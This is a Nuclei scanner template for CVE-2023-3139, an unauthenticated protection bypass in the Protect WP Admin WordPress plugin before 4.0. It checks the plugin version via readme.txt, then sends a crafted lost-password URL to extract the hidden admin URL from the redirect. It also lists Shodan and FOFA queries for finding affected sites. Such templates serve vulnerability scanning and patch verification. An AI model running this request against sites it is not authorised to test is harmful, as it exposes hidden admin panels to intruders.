漏洞描述
The Protect WP Admin WordPress plugin before version 4.0 disclosed the URL of the admin panel through the redirection of a crafted URL, bypassing the protection offered.
id: CVE-2023-3139
info:
name: Protect WP Admin < 4.0 - Unauthenticated Protection Bypass
author: popcorn94
severity: medium
description: |
The Protect WP Admin WordPress plugin before version 4.0 disclosed the URL of the admin panel through the redirection of a crafted URL, bypassing the protection offered.
remediation: Fixed in 4.0 or later
reference:
- https://wpscan.com/vulnerability/f8a29aee-19cd-4e62-b829-afc9107f69bd/
- https://magos-securitas.com/txt/CVE-2023-3139.txt
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-3139
cwe-id: CWE-601
epss-score: 0.03912
epss-percentile: 0.87888
cpe: cpe:2.3:a:wp-experts:protect_wp_admin:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: wp-experts
product: protect_wp_admin
framework: wordpress
shodan-query: http.html:"/wp-content/plugins/protect-wp-admin"
fofa-query: body="/wp-content/plugins/protect-wp-admin/"
publicwww-query: "/wp-content/plugins/protect-wp-admin/"
tags: cve,cve2023,wordpress,wp-plugin,protect-wp-admin,unauth,wpscan,vkev,vuln
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/protect-wp-admin/readme.txt"
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "contains(body, 'Protect WP Admin')"
- compare_versions(version, '<= 4.0')
condition: and
internal: true
extractors:
- type: regex
part: body
group: 1
name: version
regex:
- 'Stable tag: ([0-9.]+)'
internal: true
- method: GET
path:
- "{{BaseURL}}/wp-login.php?action=lostpassword&error=invalidkey"
matchers:
- type: dsl
dsl:
- "status_code == 301"
- "contains(location, '?action=lostpassword&error=invalidkey')"
condition: and
extractors:
- type: regex
part: header
group: 1
name: redirect_url
regex:
- 'Location:([ a-z:/0-9.?=&]+)'
internal: true
- type: dsl
dsl:
- '"Protected URL:"+ redirect_url'
# digest: 4b0a004830460221009f2929d8d8f44499f29b1c66b0e57c502954befb2e1225f7573f810e7e427960022100e2aaa9e4992ed83cdde079d324d29fa64fb1b50b438f1033633ec146f107e42b:922c64590222798bb761d5b6d8e72950